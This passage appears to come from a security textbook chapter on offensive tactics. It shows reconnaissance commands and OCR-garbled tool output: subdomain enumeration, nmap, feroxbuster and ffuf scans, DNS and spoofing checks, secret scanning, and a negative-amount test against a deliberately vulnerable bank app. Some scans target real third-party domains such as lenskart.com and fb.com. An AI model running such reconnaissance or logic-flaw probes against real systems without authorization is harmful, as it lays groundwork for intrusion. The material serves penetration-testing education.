EyeWitness.py -f /tmp/enum tmp S${rand}.txt --web”

This command automates the process of discovering subdomains for a given domain,
checking their availability, and capturing screenshots for reconnaissance. It first sets a target
domain (domain=DOMAIN_COM) and a random identifier (rand=$RANDOM) for tempo-
rary file naming. It then queries crt.sh for SSL/TLS CT logs containing the domain, extracts
text from table cells using pup, filters the results to match the domain, sorts and removes
duplicates, and uses httprobe to check which subdomains are live. The list of active subdo-
mains is saved to a temporary file, which is then passed to EyeWitness to capture screenshots,
gather web information, and generate a report of the accessible web interfaces, as shown in
Figure 7.5.

JavaScript function

The below-mentioned JavaScript command is designed to extract and display potential URL
paths found within a webpage’s source code and its loaded JavaScript files. It works by scan-
ning all <script> tags on the page, fetching the content of each external JavaScript file, and
applying a regular expression to identify strings that resemble relative paths or endpoints. In
parallel, it also searches the current page’s HTML source for similar matches. All unique results
are stored in a Set to avoid duplicates. After a short delay, it writes the collected paths directly
to the browser window, providing a quick way for security testers or researchers to discover
hidden API endpoints, resource links, or other useful paths embedded in the site’s code.

[:—(venv)—(kaliﬁBkali)—[~]
$ domain=lenskart.com;rand=$RANDOM; curl -fsSL "https://crt.sh/?q= { }" | pup "td text{}' | grep "<{ }°
| sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_t
mp_${rand}.txt -—-web
/home/kali/venv/lib/python3.13/site-packages/fuzzywuzzy/fuzz.py:11: UserWarning: Using slow pure-python SequenceMat
cher. Install python-Levenshtein to remove this warning

warnings.warn('Using slow pure-python SequenceMatcher. Install python-Levenshtein to remove this warning')

# EyeWitness #

# Red Siege Information Security - https://www.redsiege.com #

Starting Web Requests (56 Hosts)

Attempting to screenshot https://bridge.lenskart.com

Attempting to screenshot https://api-preprod.lenskart.com

Attempting to screenshot https://careers.lenskart.com

Attempting to screenshot https://blog.lenskart.com

Attempting to screenshot http://api-preprod.lenskart.com

[*] Hit timeout limit when connecting to https://blog.lenskart.com, retrying
Attempting to screenshot http://careers.lenskart.com

Attempting to screenshot https://eu.lenskart.com

Attempting to screenshot http://blog.lenskart.com

Figure 7.5 Combined tool output.
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“javascript: (function() {var scripts=document.getElementsByTagName
("script"),regex=/(?<=(\"|\"|\"))\/[a-zA-Z0-9_?&=\/\-
\#\.]*(2=(\"|\"|\ ) ) /g;const results=new Set;for (var 1=0;i<scripts.
length;i++){var t=scripts[i] .src;""!=t&&fetch(t).then (function(t)

{return t.text()}).then (function(t){var e=t.matchAll (regex) ;for (let

r of e)results.add(r[0])}).catch(function(t){console.log("An

error occurred: ",t)})}var pageContent=document.documentElement.
outerHTML, matches=pageContent .matchAll (regex) ; for (const match of matches)
results.add (match[0] ) ;function WriteResults(){results.forEach(function(t)
{document .write (t+"<br>") }) }setTimeout (writeResults,3e3);}) ();”

Add this code in the bookmarks ribbon on the browser to open in a new tab as shown in
Figure 7.6.

Network Mapper (NMAP)

Nmap is an open-source network scanning tool used to discover hosts, services, and vulner-
abilities on a network. It works by sending specially crafted packets to target systems and
analyzing their responses to determine information such as open ports, running services,
operating system details, and network topology. Widely used by system administrators, pen-
etration testers, and security researchers, Nmap supports various scan techniques, scripting
for automation, and integration with other tools. Its flexibility and detailed output make it
valuable for both troubleshooting network issues and conducting comprehensive security
assessments. There are various scanning options available in Nmap, a Nmap aggressive scan
is performed in Figure 7.7.

Feroxbuster

Feroxbuster is a fast, command-line-based content discovery tool used to find hidden files,
directories, and endpoints on web servers. It works by performing brute-force searches with
a wordlist, sending HTTP requests to potential paths, and analyzing the server’s responses to

/style.css

/search.jsp

/index.jsp

/images/logo.gif

/login.jsp
/index.jsp?content=inside_contact.htm
/feedback.jsp
/images/gradient.jpg
/images/header pic.jpg
/images/pf lock.gif
/index.jsp?content=personal.htm
/index.jsp?content=business.htm
/index.jsp?content=inside.htm
/index.jsp?content=privacy.htm
/index.jsp?content=security.htm
/status _check.jsp
/swagger/index.html

Figure 7.6 JS function output.



Offensive security tactics 193

L—(venv)—(kali@ kali)-[~]

$ sudo nmap -A tetsphp.vulnweb.com

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 00:43 IST

Stats: 0:01:58 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan

NSE Timing: About 98.95% done; ETC: 00:45 (0:00:00 remaining)

Nmap scan report for tetsphp.vulnweb.com (44.228.249.3)

Host is up (0.26s latency).

rDNS record for 44.228.249.3: ec2-44-228-249-3.us-west-2.compute.amazonaws.com

Not shown: 997 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

53/tcp open domain (generic dns response: NOTIMP)

80/tcp open http nginx 1.19.0

113/tcp closed ident

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nma
SF-Port53-TCP:V=7.95%I=7%D=8/11%Time=6898EFBI%P=x86_64-pc-1inux-gnu%r(DNSV
SF:ersionBindReqTCP,E, "\0\x0c\0\x06\x81\x84\0\0\0\0\0\0\0\0");

Device type: VoIP adapter|bridgelgenera’. purpose

Running (JUST GUESSING): AT6T embedded (92%), Oracle Virtualbox (91%), Slirp (91%), QEMU (9e%)
0S CPE: cpe:/o:oracle:virtualbox cpe:/a:danny_gasparovski:slirp cpe:/a:qemu:qgemu

Aggressive 0S guesses: ATST BGW210 voice gateway (92%), Oracle Virtualbox Slirp NAT bridge (91%), QEMU user mode network gateway (90%)
No cxact 0S matches for host (test conditions non idecal).

Network Distance: 1 hop

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 255.33 ms ec2-44-228-249-3.us-west-2.compute.amazonaws.com (44.228.249.3)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.16 seconds

Figure 7.7 Nmap aggressive scan.

E(kali@kali)-[”]
$ feroxbuster -u http://testphp.vulnweb.com -x pdf -x js,html -x php txt json,docx

| T o) 1) I/ / NN AL
| | O I NN T L
by Ben "epi" Risher ver: 2.11.0

Target Url http://testphp.vulnweb.com

Threads 50

Wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Status Codes All Status Codes!

Timeout (secs) 7

User-Agent feroxbuster/2.11.0

Config File /etc/feroxbuster/ferox-config.toml

Extract Links true

Extensions [pdf, js, html, php, txt, json, docx]

HTTP methods [GET]

Recursion Depth 4
# Press [ENTER] to use the M Menu™
404 GET 71 11w 153c Auto-filtering found 404-like response and created new filter; toggle of
f with --dont-filter
404 GET 11 3w 16c Auto-filtering found 404-like response and created new filter; toggle of
f with --dont-filter
301 GET 71 11w 169c http://testphp.vulnweb.com/admin = http://testphp.vulnweb.com/admin/
301 GET 71 11w 169c http://testphp.vulnweb.com/images = http://testphp.vulnweb.com/images/
403 GET 91 28w 276¢ http://testphp.vulnweb.com/cgi-bin
302 GET 11 3w 14c http://testphp.vulnweb.com/userinfo.php = login.php
200 GET 1551 350w 4236¢ http://testphp.vulnweb.com/AJAX/index.php

Figure 7.8 Feroxbuster hidden file search.

identify valid resources. Written in Rust, it offers high performance, recursion into discovered
directories, and support for filtering results based on status codes, file extensions, or content
size. Security professionals and bug bounty hunters use Feroxbuster to uncover areas of a
website that are not directly linked but may contain sensitive information or serve as poten-
tial entry points for attacks. Figure 7.8 shows the process for an attacker trying to find .pdf,
.js, .php, .html, .txt, .json hidden files on the target domain.

DNS Recon

DNSRecon is a DNS enumeration tool used to gather information about domain name sys-
tem records and configurations. It can perform various queries, such as standard record
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lookups, reverse lookups, zone transfers, and brute-force subdomain enumeration. The tool
helps identify hosts, mail servers, name servers, and other infrastructure details that may be
exposed through DNS. Security testers and network administrators use DNSRecon to assess
the security of DNS setups, verify configurations, and detect potential misconfigurations or
information leaks that could be exploited during an attack as shown in Figure 7.9.

AORT

AORT, short for All-In-One Recon Tool, is a command-line utility designed to simplify the
information-gathering phase of security testing. It combines multiple reconnaissance func-
tions, including subdomain discovery, DNS record checks, zone transfer testing, web applica-
tion firewall detection, port scanning, and historical data lookups. The tool can also perform
WHOIS queries, identify active hosts, and search for potential misconfigurations or exposed
resources. By bringing these capabilities together in one package, AORT helps testers and
researchers streamline their workflow and quickly build a detailed picture of a target’s online
infrastructure. Figure 7.10 displays the information captured by the AORT tool.

Spoofcheck

Spoofcheck is a security tool used to assess whether a domain is properly protected against
email spoofing. It works by checking the domain’s SPF (Sender Policy Framework), DKIM
(DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication,
Reporting, and Conformance) configurations. These mechanisms help verify that emails
claiming to come from a domain are legitimate and not forged. Spoofcheck analyzes the
presence and correctness of these records, highlighting weaknesses or missing protections.
This makes it useful for administrators and security testers to identify gaps that could allow
attackers to send fraudulent emails on behalf of the domain. This tool can be used to check
for SPF records, DMARC records, and whether spoofing is possible or not. Run it using
Python, and also specify the target domain/IP Address as displayed in Figure 7.11.

E(kali@ kali)-[~]

$ dnsre -d testphp.vulnweb.com

[*] std: Performing General Enumeration against: testphp.vulnweb.com...

[-] DNSSEC is not configured for testphp.vulnweb.com

[*] A testphp.vulnweb.com 44.228.249.3

[*] TXT testphp.vulnweb.com google-site-verification:toEctYsulNIxgrakKk7H3z58PCyz2I0Cc36pIupEPmMYQ
[*] Enumerating SRV Records

[~] No SRV Records Found for testphp.vulnweb.com

Figure 7.9DNSRecon.

Y kali® kali)- [ ~/AORT
$ python3 AORT.py testphp.vulnweb.com

[+] Discovering subdomains using passive techniques ...

+
sieb-webl.testphp.vulnweb.com |
testphp.vulnweb.com |
v . testphp.vulnweb.com |

+

b o———

Total discovered sudomains: 3

Figure 7.10 AORT tool.



Offensive security tactics 195

(venv)—(kali® kali)-[~/spoofcheck]
$ python2 spoofcheck.py webscantest.com
[+] webscantest.com has no SPF record!
No DMARC record found. Looking for organizational record
[+] No organizational DMARC record
[+] Spoofing possible for webscantest.com!

E( kali® kali)-[~/spoofcheck]
$ source venv/bin/activate

(venv)—(kali® kali)-[~/spoofcheck]
$ python3 spoofcheck.py fb.com
[+] fb.com has no SPF record!
No DMARC record found. Looking for organizational record
[+] No organizational DMARC record
[+] Spoofing possible for fb.com!

Figure 7.11 Spoofcheck tool.

(kali® kali)- [~/trufflehog]
—$ trufflehog git heeps://github.coa/trufflesecurity/test_koys --rosultseverifiod, o wnonn
®A® Trufflodog. Unedrth your secrets. 8 28

2025-08-12T10:51:0705:30 info-0 trufflehog running source {"source_minmager_worker_id": "os7qX", “with_units®: true}
2025-08-12T10:51:07405:30 info-0 trufflehog scanning repo {"sourco_managor_worker_id": “os7qX", “unit_kind*: "dir",
B Found verifiod result B 2

Detector Typo: ANS

Decoder Type: PLAIN

Raw result: AKIAYVPLCIPPERUVIFXG

Arn: arn:aws:iam::$95918472158:user/canarytokens. cond@mirux23ppyky6hx3l6vcimhnj)

Is_canary: truo

Resource_type: Access koy

Account: 395918472158

Message: This is an AWNS camary token generated at canarytokens.org.

Commit: fbc14303ffDFEID1C2¢191408dda7A0121633a¢2

(mail: countor <countor@ounters-cBook-Alr.local>

Filo: keys

Line: &

Repository: https://github.com/trufflesccurity/tost_keys

Timostamp: 2022-06-16 17:17:40 40000

B Found verified result B8 A2

Detector Type: ANS

Decoder Typo: PLAIN

Rawm result: AKIAQYLPMNSHHHFPZAM2

Message: This i3 da ANS camary token generated at canarytokens.org.
Arn: drn:dws:iom:: 052310077262 :user/canarytokens.condd<20nnjzlioidnaxvtif2ivope
Is_canary: true

Rosource_typo: Access key

Account: 052310077262

Commit: O41656003133I0000ca2045813251085¢600717¢3f

mail: counter <hello@tirufflesec.coa>

File: new_key

Lino: 2

Repository: hutps://github.com/trufflesecurity/test _koys
Timestamp: 2023-10-19 02:56:37 «+0000

Figure 7.12 TruffleHog tool.

TruffleHog

TruffleHog is a powerful security tool for the discovery, classification, validation, and analy-
sis of secrets. In this context, a “secret” refers to credentials a machine uses to authenticate
itself to another machine, such as API keys, database passwords, or private encryption keys.
It scans code repositories, including their commit histories, to detect sensitive information
using pattern matching and entropy analysis. By uncovering both active and historical expo-
sures, TruffleHog helps developers and security teams prevent unauthorized access, protect
sensitive systems, and maintain secure development practices. The command displayed in
Figure 7.12 searches for sensitive information, such as API keys or passwords. The git argu-
ment tells TruffleHog to treat the target as a git repository and analyze both the current code
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and its commit history. The --results=verified, unknown option instructs the tool to display
only secrets that are either confirmed as valid (verified) or whose validity could not be deter-
mined (unknown), excluding any results that are proven to be false positives. This helps focus
the output on findings that may require further review or remediation.

SQLMAP

SQLMap is an open-source penetration testing tool designed to automate the process of
detecting and exploiting SQL injection vulnerabilities in web applications. It supports a wide
range of databases such as MySQL, PostgreSQL, Oracle, and Microsoft SQL Server, and can
be used to extract database names, tables, and records once a vulnerability is found. SQLMap
also offers advanced features like database fingerprinting, privilege escalation, command exe-
cution, and even writing files to the server if permissions allow. With its powerful automation
and extensive options, SQLMap is widely used by security professionals for VAs as well as by
penetration testers to demonstrate the real-world impact of SQL injection flaws.

Offensive security activities on web portals

This section presents the process for setting up and then hacking a finance web portal. This
is done by performing security testing of Web, APIs, and LLMs, secure code review, and
implementing security in CI/CD pipelines. The first step is to install and set up the web portal,
using the git clone command $ sudo git clone https://github.com/Commando-X/vuln-bank.
git we can set up the portal as displayed in Figure 7.13.

This system offers an option to use Docker, running the web portal as an independent web
application. Figure 7.14 presents the process to first install Docker if it is not already installed
on Kali Linux.

Figure 7.15 presents the next step to start Docker services using the command $ sudo
systemctl enable docker —now.

[~/tools
do git clone https://github.com/Commando-X/vuln-bank.git
[sudo] passwoxd for kali:
Cloning into ‘vuln-bank'
cd vremote: Enumerating objects: 262, done.

remote: Counting objects: 100% (48/48), done.

remote: Compressing objects: 100% (25/25), done.

remote: Total 262 (delta 35), reused 25 (delta 23), pack-r2used 214 (from 1)
Receiving objects: 100% (262/262), 1.67 MiB | 3.36 MiB/s, done.

Resolving deltas: 100% (148/148), done.

Figure 7.13 Git clone web portal.

L )-[~/tools/vuln-bank
- install -y docker.io
The following packages were automat]cally installed and are no longer required:
docker-compose-plugin 1libslirp@ pigz slirp4netns
Use 'sudo apt autoremove' to remove them.

Installing:

el

Figure 7.14 Install Docker.
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[:—( )-[~/tools/vuln-bank]
sudo

systemctl enable docker --now
Synchronizing state of docker.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable docker

Figure 7.15 Start Docker.

)~ [~/tools/vuln-bank ]
L update
https://download.docker.com/linux/debian bullseye InRelease [43.3 kB]
http://archive.ubuntu.com/ubuntu focal-updates InRelease [128 kB]
http://kali.download/kali kali-rolling InRelease [41.5 kB]
http://kali.download/kali kali-rolling/main amd64 Packages [21.0 MB]
http://archive.canonical.com/ubuntu focal InRelease [12.2 kB]
http://archive.canonical.com/ubuntu focal InRelease

Figure 7.16 Update Kali Linux.

~/tools/vuln-bank
= install docker-buildx
docker-buildx is already the newest version (0.13.1+ds1-3).
docker-buildx set to manually installed.
The following packages were automatically installed and are no longer required:
docker-compose-plugin 1libslirp@ pigz slirp4netns
Use 'sudo apt autoremove' to remove them.

Figure 7.17 Install BuildX.

[:— 111% kali)-[~/tools/vuln-bank]
$ docker --version
Docker version 26.1.5+dfsgl, build a72d7cd

[j{h:xlﬂ kali)-[~/tools/vuln-bank]
$ docker buildx version
github.com/docker/buildx 0.13.1+dsl 0.13.1+ds1-3

Figure 7.18 Version check.

If required, you may need to update the Kali Linux OS with pending tools and latest
release as illustrated in Figure 7.16.

The next prerequisite is to install Docker BuildX as shown in Figure 7.17, this is an
advanced Docker CLI plugin that extends the traditional docker build command by using
BuildKit under the hood, which makes image building faster, more efficient, and more pow-
erful. It allows developers to build multi-platform images (e.g., for both amdé4 and armé4
architectures) from a single machine, making it especially useful for creating images that run
consistently across different environments. With BuildX, you can take advantage of better
caching mechanisms, parallel builds, and flexible output options such as pushing images
directly to a registry or exporting them as tarballs. It also supports creating and managing
custom builder instances, giving you greater control over where and how your builds run. In
essence, docker BuildX is the next-generation tool for building container images, providing
improved performance and multi-platform support compared to the classic docker build.

To verify if the installation was successful, check the version and build of Docker and the
BuildX version, as shown in Figure 7.18.
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Figure 7.19 presents the command $ sudo apt -y --fix-broken install for Debian-based
Linux systems (like Ubuntu) to automatically fix and install any broken dependencies in
the package management system. Sometimes, when installing or removing software, pack-
ages may be left in a half-installed or inconsistent state because of missing dependencies or
interrupted installations. Running this command tells apt to attempt to repair those issues
by downloading and installing the required dependencies or by correcting conflicts. The --fix-
broken option specifically instructs apt to look for and resolve these problems, while the -y
flag automatically answers “yes” to any prompts, allowing the process to complete without
user interaction. In short, this command is a quick way to repair broken package installations
and restore the package manager to a healthy state.

Sometimes, there is a need to mark docker-compose as manually installed so that the Linux
package manager does not accidentally remove it during an automatic cleanup or overwrite
it when resolving dependencies. By marking it as manual, as illustrated in Figure 7.20, you
are telling the system that you deliberately installed and want to keep it, even if no other
package depends on it. This is especially useful because in some Linux distributions, docker-
compose might come from the system repositories (which can be outdated) or be installed
manually from Docker’s official releases. Checking the docker-compose version ensures that
you’re actually running the version you expect, since features, syntax, and compatibility
with Docker Engine can vary across versions. Some tools and configurations may only work
correctly with newer versions, while older distributions might still ship an outdated release.
Verifying the version helps you confirm that you’re using the right binary (from the source
you trust) and avoids issues with mismatched features or unexpected behavior.

Figure 7.21 presents the command to build the Docker image using $ sudo docker com-
pose up —build. The command sudo docker compose up --build tells Docker to start your
application using the instructions in your docker-compose.yml file, but with an extra step: it
rebuilds the images before bringing the containers up.

Normally, docker compose up will look for existing images and just run them, but adding
--build forces Docker to rebuild the images from the Dockerfiles (or build contexts) defined
in the compose file, ensuring that any recent changes in your application code, dependen-
cies, or Dockerfiles are included. After rebuilding, it will then create and start the containers,
attach their logs to your terminal, and run the services as described in the compose configura-
tion. In short, this command is used when you want to both rebuild your Docker images and
immediately bring your services up in one step. This will pull all images and display the link
as http://Kali:Linux_IP:5000 as shown in Figure 7.22.

o [~/tools/vuln-bank]

= | broken install

The following packages were automatically installed and are no longer required:
docker-compose-plugin 1libslirp@ pigz slirp4netns
Use 'sudo apt autoremove' to remove them.

Figure 7.19 Check for broken packages.

[_—(, )-[~/tools/vuln-bank]
sudo apt-mark manual docker-compose-plugin
docker-compose-plugin was already set to manually installed.

L—(, ali® kali)-[~/tools/vuln-bank]
sudo docker compose version
Docker Compose version v2.39.1

Figure 7.20 Manual marking.
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L—s kali%® kali)-[~/tools/vuln-bank]
$ sudo docker compose up --builld
1[0000] /home/kali/tools/vuln-bank/docker-compose.yml

ion

v db Pulled
59e22667830b Pull complete
5b842c2e9435 Pull complete
3126a7e35885 Pull complete
a7b0939f022a Pull complete

Figure 7.21 Build image.

Access the bank web portal at http://localhost:5000 or http://Kali:IP_Address:5000 to
verify if the docker web application runs properly, as displayed in Figure 7.23.

If you try to log in or refresh the web page, you will notice the Docker terminal window
displaying a lot of GET messages, as shown in Figure 7.24 which means the application is
alive, responding, and logging each incoming request as expected. This also indicates that
the web server inside the container is actively handling your HTTP GET requests. This is a
standard method web browsers use to retrieve resources such as web pages, images, CSS files,
or scripts from a server. So, every time you load the login page, submit the form, or refresh
the site, the browser sends new GET requests to the application. The fact that these requests
appear in the Docker terminal logs shows that:

Running on all addresses.

WARNING: This is a development server. Do not use it in a production deployment.
Running on http://172.18.0.3:5000/ (Press CTRL+C to quit)

Restarting with stat

Debugger is active!

Debugger PIN: 133-217-549

Figure 7.22 Localhost link for Docker web application.

m Login - Vulnerable Bank x  +

C o O & o+ 17218.03

Kali Linux #8 KaliTools  KaliDocs X Kali Forums X Kali NetHunter Exploit-DB

Welcome Back

Username

Password

Figure 7.23 Login page.
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[12/Aug/2025 05:32: "GET / HTTP/1.1" 200 -
[12/Aug/2025 05:32: "GET /static/style.css HTTP/1.1" 200 -
[12/Aug/2025 05:32: "GET /static/uploads/banking-app.png HTTP/1.1" 200 -
[12/Aug/2025 05:32: "GET /static/favicon-16.svg HTTP/1.1" 200 -

- [12/Aug/2025 05:33: "GET /login HTTP/1.1" 200

[12/Aug/2025 05: .1" 304 -

[12/Aug/2025 05:33: "GET /static/auth.css HTTP/1.1" 200

Figure 7.24 GET requests & stopping the Docker.

1. The web application is running correctly inside the container and is reachable from
your host or network.

2. The containerized server is processing incoming HTTP requests and responding back
to your browser.

3. The logs are a normal access trace, not errors—they serve as a record of traffic between
the client (your browser) and the server (the Dockerized web app).

Press CTRL-C to stop the docker and shut down the vulnerable bank portal gracefully, and
restart the Docker using the compose up build command as shown in
Figure 7.25.

With the web application portal working, perform some user management activities by
first registering new users, as displayed in Figure 7.26 on the bank portal. Log in to check the
credit balance in the user’s account and notice the various options available for transacting
in the user portal

Check the “Send Money” option to transfer some amount to another bank account, as
shown in Figure 7.27.

Verify that the transaction completed successfully and check the transaction history as
shown in Figure 7.28.

To verify the transaction logic further, send a negative amount (US$ -10) from one account
to another, as shown in Figure 7.29. If the bank portal is not validating the negative amount
user input, the sender should actually receive the amount from the receiver instead of the
other way round, as a normal amount transfer.

Gracefully Stopping... press Ctrl+C again to force
Container vuln-bank-web-1 Stopping
Container vuln-bank-web-1 Stopped

Container vuln-bank-db-1 Stopping

025—08—12 05:53:43.745 UTC [1] LOG: received fast shutdown request
2025-08-12 05:53:43.749 UTC [1] LOG: aborting any active transactions
2025-08-12 05:53:43.754 UTC [1] LOG: background worker "logical replication
2025-08-12 05:53:43.756 UTC [64] LOG: shutting down
2025-08-12 05:53:43.773 UTC [1] LOG: database system is shut down

Container vuln-bank-db-1 Stopped

(kali® kali)-[~/tools/vuln-bank]
—$ sudo docker compose up build
1[0000] /home/kali/tools/vuln-bank/docker-compose.yml: the attribute “version’ is obsolete
ion
[+] Running 1/1
v vuln-bank-web Bui
Attaching to db-1, web-1
db-1
db-1 | PostgreSQL Database directory appears to contain a database; Skipping initialization

Figure 7.25 Restart Docker.
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Create Account

user]

[ aen ]

RENT BALANC

Welcome back, user1 1000.0
Tuesday, August 12, 2025 $ 2
Account Number: 0595639448
g 5 = =
Send Money Request Loan Virtual Cards Pay Bills

Transfer money to another account Need funds? Apply for a loan with Create and manage your virtual payment Pay your bills easily from your account

quickly and securely, competitive rates. cards.

Figure 7.26 Create account & check transaction options available.

Money Transfer

Recipient Account Number

kali
Amount Welcome back' (I @ll CURRENT BALANCE
50 Tuesday, August 12, 2025

Thisis a test| Transfer Completed Account Number: 059

Figure 7.27 Check money transfer features.

Description (optional)

Transaction History

To: kali
2025-08-12 06:07:48.600454

-$50

This is a test

Figure 7.28 Transaction history.

Next, perform Vulnerability Assessments and Pen Testing by starting with the
Reconnaissance phase. These are essential steps in cybersecurity that involve collecting infor-
mation about a target system, network, or organization, while scanning focuses on detecting
active hosts, open ports, services, and vulnerabilities. Use of Al can also be used to enhance
these processes by automating data collection, analyzing large datasets, identifying hidden
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Money Transfer

Recipient Account Number

kali Transaction History

Amount

CURRENT BALANCE

-10

101 0 To: kali

2025-08-15 07:32:24.081275

Account Number: 8641806194 Send USS -10 from my account to Kali

Description (optional)

Send US$ -10 from my account to Kali

Figure 7.29 Validating user input for transaction logic.

patterns, and reducing human error. ML models can predict potential weaknesses, prioritize
threats, and even adapt scanning strategies based on evolving defenses. This combination
of Al and ML not only saves time but also strengthens proactive security measures, helping
defenders stay ahead of cyber threats.

Figure 7.30 displays the command $ sudo nmap -Pn localhost is used to perform a network
scan, as the -Pn option tells Nmap to skip the host discovery (ping check) phase, assuming
the host is up, even if it does not respond to pings. This is useful when scanning systems that
block ICMP echo requests or have firewalls that drop ping traffic. By combining -Pn with
localhost, Nmap proceeds directly to scanning open ports and services running on the local
system. The output provides valuable insights into which applications or services are listen-
ing for connections, helping in tasks such as troubleshooting, security auditing, and verifying
configurations.

This step focuses on gathering information about the target application and its exposed
surface. In this phase, tools like WhatWeb and Curl are used to fingerprint the technologies
running behind the target and to extract metadata such as HTTP headers and server ban-
ners, as shown in Figure 7.31. From a Kali machine, set the target environment variable using
export TARGET=127.0.0.1:5000 (or adjust it if the application is running remotely). Then,
run the whatweb http://$TARGET command to identify the technologies, frameworks, and
possible plugins powering the web application. Using the command curl -I http://$TARGET
retrieves the HTTP headers, revealing information such as the server type, response codes,
and security configurations. This reconnaissance stage is crucial as it provides insights into
the technology stack and potential weaknesses, laying the foundation for deeper vulnerability
assessments and penetration testing.

E( upes® UPES)-[~]

$ nmap -Pn 127.0.0.1

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-19 01:27 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000040s latency).

Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE

80/tcp open http

5000/tcp open upnp

5432/tcp open postgresql

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in ©.15 seconds

Figure 7.30 NMAP port scan.
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ort TARGET=127.0.0.1:5000

¢ whatweb http://$TARGET

[200 OK] Country[RESERVED][77], HTML5, HTTPServer[Werkzeug/2.0.1 Python/3.9.23], IP[127.0
.0.1], Python[3.9.23], Script, Title[ ], UncommonHeaders[access-control-allow-origin], Werkzeug[2
.0.1]

r. -1 http://$TARGET
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 42273
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.23
Date: Fri, 15 Aug 2025 07:49:39 GMT

Figure 7.31 Gathering target info for exposed surface.

¢ ) nmap s S ) -min rate 2000 127.0.0.1

[sudo] password for

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 03:53 EDT
\map scan report for localhost (127.0.0.1)

Host is up (0.00020s latency).

Not shown: 65531 closed tcp ports (reset)

PORT STATE SERVICE VERSICN

80/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.23)
|_http-title: Vulnerable Bank

5000/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.23)
|_http-title: Vulnerable Bank

5432/tcp open postgresql PostgreSQL DB 14.7 - 14.9

38529/tcp open http Golang net/http server

| _http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:

| FourOhFourRequest:

Figure 7.32 Run Nmap default scripts with minimum rate.

$ export TARGET=127.0.0.1:5000 # adjust if remote
$ whatweb http://STARGET # tech fingerprint
$ curl -I http://STARGET # headers/banner

A quick port scan can be performed using the command $ sudo nmap -sC -sV -O -p- --min-
rate 2000 127.0.0.1, which instructs Nmap to run with default scripts (-sC), attempt service
version detection (-sV), enable operating system detection (-O), and scan all available ports
(-p-) at a minimum rate of 2000 packets per second for faster results as shown in Figure
7.32. Running this scan on the localhost helps identify which services are running inside the
Docker environment or on the host machine. In this case, you should notice that port 5000/
tcp is open and associated with the Flask web application, which confirms the containerized
web service is accessible. Additionally, you should check whether port 5432/tcp, commonly
used by PostgreSQL, is exposed to the outside; if it is, this may indicate a potential security
concern since exposing databases directly can make them vulnerable to unauthorized access.

Figure 7.33 illustrates the command $ sudo feroxbuster -u http://STARGET -x
html,js,json,txt -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 to per-

form content discovery on a target web application by probing for hidden directories, files,
and APIs.
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Figure 7.34 presents the Feroxbuster scans with the -x option, which tells it to look for
specific file extensions such as .html, .js, .json, and .txt, which are commonly used in web
applications. The -w option provides a wordlist, in this case, the widely used common.txt
from the SecLists collection, to guess potential paths and endpoints. The -t 50 flag sets the
number of concurrent threads to 50, allowing the scan to run quickly by making multiple
requests at the same time. Running this command helps identify potentially sensitive or hid-
den resources that are not directly linked on the website, which can be valuable for security
testing, penetration testing, or bug hunting.

Figure 7.35 displays the alternative to perform web content discovery using FFUF (Fuzz
Faster U Fool). The command $ sudo ffuf -w /usr/share/seclists/Discovery/Web-Content/
common.txt -u http://$TARGET/FUZZ -mc 200,302 specifies the wordlist to use, in this
case common.txt from the Seclists repository, which contains common directory and file
names often found on web servers. The -u option defines the target URL, where FUZZ
acts as a placeholder that FFUF will replace with each entry from the wordlist. The -mc
200,302 option tells FFUF to display only responses with HTTP status codes 200 (OK) or
302 (Found/Redirect), which typically indicate valid or interesting resources. Running this
command allows you to quickly enumerate hidden files, directories, or endpoints on a target

u http://$TARGET -x html,js,json,txt -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50

Yo7
NN
T

by Ben "epi" Rishe

Target Url http://127.0.0.1:5000
Threads 50

Wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
Status Codes All Status

Timeout (secs) 7

User-Agent feroxbuster/2.11.0

Config File /etc/feroxbuster/ferox-config.toml

Extract Links true

Extensions [html, js, json, txt]

HTTP methods [GET]

Recursion Depth 4

Press [E ] to use the

Figure 7.33 FerroxBuster scan for content discovery.

41 34w 232c Auto-filteri found -like response and created new filter; tog]

41 23w 178c http://127.
751 220w 3377c http://127.
2271 452w 4512c http://127.
701 203w 3084c http://127.
231 90w 845c http://127.
321 125w 1312¢ http://127.
61261 34259w 2869032c http://127.
11411 3095w 42273c http://127.
41 pIA 268c http://127.
111 82w 589c http://127.
511 183w 1909c http://127.
31 6w 34c http://127.

Al 23w 178c http://127.
1551 288w 2973c http://127.
831 PAYA 3764¢c http://127.
781 219w 3394c http://127.
431 117w 1386¢ http://127.
41 23w 178c http://127.

:5000/api/ai/chat/anonymous
:5000/register
:5000/static/style.css
:5000/1ogin
:5000/static/favicon-16.svg
:5000/static/favicon.svg
:5000/static/uploads/banking-app.png
15000/

:5000/api/docs =
:5000/api/docs/LICENSE
:5000/console
:5000/dashboard
:5000/api/v2/forgot-password
:5000/static/auth.css
:5000/reset-password
:5000/forgot-password
:5000/api/docs/index.html
:5000/transfer

(SRS RS S NSRRI R - R
[N NS NSRS IS IS S B I B R RS I S I

Figure 7.34 FeroxBuster content discovery.
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I http://$TARGET/FUZZ -mc 200,302

AN VAN AN A
A ATAN A AN/
\
/i

NN A N
WAL N A

v2.1.0-dev

:: Method T GET

22 AURE : http://127.0.0.1:5000/FUZZ

